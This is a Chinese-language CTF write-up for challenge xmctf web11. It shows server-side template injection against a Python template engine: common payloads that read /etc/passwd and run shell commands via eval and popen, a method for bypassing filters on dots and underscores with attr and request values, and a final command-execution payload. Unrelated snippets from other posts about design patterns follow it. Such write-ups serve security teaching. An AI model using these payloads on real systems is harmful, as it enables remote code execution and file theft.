xmctf web11 考核 模板注入繞過

2021-10-07 11:04:03 字數 1227 閱讀 5961

輸入name=1發現存在回顯,猜測為模板注入,經過測試發現過濾了. _和一些關鍵字

py2模板注入常見payload

().__class__.__bases__[0].__subclasses__()[40](r'/etc/passwd').read()

().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /").read()' )

''.__class__.__mro__[-1].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()' )

過濾了.可以用getattr或者attr繞過

例如''.__class__可以寫成getattr('',"__class__")或者''|attr("__class__")

過濾了_可以用dir(0)[0][0]或者request['args']或者request['values']繞過

因為還過濾了 args所以我們用request['values']和attr結合繞過

例如''.__class__寫成''|attr(request['values']['x1']),然後post傳入x1=__class__

最終payload?name=}

然後post傳入x1=__class__&x2=__base__&x3=__subclasses__&x4=__init__&x5=__globals__&x6=__getitem__&x7=__builtins__&x8=eval&x9=__import__("os").popen('想要執行的命令').read()

發現在根目錄下又flag但是打不開,我這裡使用的base64編碼繞過的

cat /fl4g|base64

xmctf web12 考核 無引數RCE

header content type text html charset utf 8 include flag.php echo flag在 呢?highlight file file error reporting 0 if isset get exp else else else highli...

第11章 Abstract Factory模式

abstract factory模式 抽象工廠模式,為建立一組相關或相互依賴的物件提供乙個介面,而且無需指定它們的具體類。abstract factory模式 關鍵特徵 意圖 需要為特定的客戶提供物件組。解決方案 協調物件組的建立。提供一種方式,將如何執行物件例項化的規則從使用這些物件的客戶物件提取...

11 Builder Pattern 構建器模式

一 問題 在軟體系統中,有時候面臨著 乙個複雜物件 的建立工作,其通常由各個部分的子物件用一定的演算法構成。由於需求的變化,這個複雜物件的各個部分經常面臨著劇烈的變化,但是將它們組合在一起的演算法卻相對穩定。這個描述和模板方法模式很相似,但是這個模式主要解決建立工作。比如建立房子,步驟是一樣的,但是...